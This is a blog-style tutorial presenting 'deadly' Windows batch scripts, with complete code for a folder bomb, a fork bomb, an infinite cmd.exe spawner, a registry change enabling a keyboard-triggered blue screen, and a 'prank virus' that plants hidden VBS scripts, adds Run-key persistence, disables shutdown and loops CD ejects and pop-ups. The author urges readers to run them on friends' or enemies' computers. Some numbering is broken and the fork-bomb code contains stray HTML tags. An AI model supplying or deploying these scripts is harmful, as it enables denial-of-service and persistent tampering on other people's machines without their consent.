DEADLY BATCH FILE TRICKS THAT YOU SHOULD NEVER TRY ON YOUR PC

In this tutorial I'm going to explain some deadly batch file tricks and hacks that can completely destroy your Windows Registry, You have to re-format your computer to bring it back to normal. Batch files discussed in this post can create a real havoc on your computer, they can completely irritate you so don't try them on your PC. 




Use them on your friends or enemies computer.

1. Folder Bomber
This batch file will create 3000+  folder in less than a minute.
Open your notepad and type the following codes.
@echo off
:top
md %random%
goto top


Save it as 300.bat(or any other)
Give this file to your friend and   when he will click on that his nightmare will be started.


Above Code Explained.
@echo off makes your command prompt window blank. md %random% is the command in MS-DOS to create random folders. (md is used for creating a folder and 


%random% means folders with random names.) goto top- retures the command to :top which causes an infinite loop.


2. Fork Bomber
It is another batch file which utilises 100% computer resources and memory making your computer irresponsive and at last your computer hangs. Just copy and paste 


the below codes and save it as fork.bat (or any other name)
:s<br />start %0<br />%0|%0<br />goto :s<br />


3. Getting Blue Screen Of Death (BOSD)
You may be surprised to know that Windows has a built-in self-crashing mechanism (no pun intended). Though it is quite easy to crash a Windows box whenever 


you doesn’t want it to crash, it may be quite difficult to reproduce the scenario, when you desperately want your box crashed. So here we give you two methods to crash your Windows box. 
Method 1: Windows Built-in Self Crasher
This method produces the 'awesome' BSOD (Blue Screen Of Death) that you are no doubt familiar with. The PC gets locked up and the only way to recover is to reboot it. Just follow these steps:


Run Regedit (Start -> Run -> regedit)
Navigate to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\i8042prt\Parameters
Create a new DWORD value with name CrashOnCtrlScroll and give it a value 1
Reboot the PC
Now whenever you want to see the cute blue screen (and crash your system), press and hold the Ctrl key on the right side of the keyboard and hit the Scroll Lock key twice.


3. Prank Virus
Just copy and paste the below mentioned codes and see the fun. You can edit the codes to make i more funny or even deadly.
@echo off
echo Set oWMP=CreateObject("WMplayer.OCX.7")>>123.vbs
echo Set colCDROMs=oWMP.cdromCollection>>123.vbs
echo do>>123.vbs
echo if colCDROMs.count>=1 then>>123.vbs
echo for i=0 to colCDROMs.Count -1>>123.vbs
echo colCDROMs.Item(i).Eject>>123.vbs
echo Next>>123.vbs
echo For i=0 to colCDROMs.Count -1>>123.vbs
echo colCDROMs.Item(i).Eject>>123.vbs
echo Next>>123.vbs
echo End If>>123.vbs
echo wscript.sleep 5000>>123.vbs
echo loop>>123.vbs
echo DO>>1234.vbs
echo MSGBOX "YOU ARE SCREWED!!!!!!!!!!!!",64,"ErR0r">>1234.vbs
echo LOOP>>1234.vbs
copy /y 123.vbs C:\
copy /y 1234.vbs C:\
attrib +s +h c:\123.vbs
attrib +s +h c:\1234.vbs
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\ /v NoClose /t REG_DWORD /f /d 1
reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\policies\system\ /v legalnoticetext /f /d "YOR ARE BEEN SCREWED"
reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\policies\system\ /v legalnoticecaption /f /d "B0zZ_ErR0r"
reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v 123.vbs /d c:\123.vbs
reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v 1234.vbs /d c:\1234.vbs
attrib +s +h c:\123.vbs
attrib +s +h c:\1234.vbs
start 123.vbs
start 1234.vbs
echo Code Smahser owns your computer!!>>c:\almasmalik.txt
echo Code Smahser owns your computer!!>>d:\almasmalik.txt
echo Code Smahser owns your computer!!>>e:\almasmalik.txt
msg * MAY YOUR COMPUTER "REST IN PEACE"


5. Open Command Prompt Window infinite times until   your Computer Crashes
Just copy and paste the below codes to make your computer crash. (After you will restart your computer, it will be back to normal)
@echo off
:loop
start cmd.exe
goto loop
"cmd.exe" can be changed to any other program also like Calculator. For calculator use calc.exe, for My Computer use explorer.exe and so on.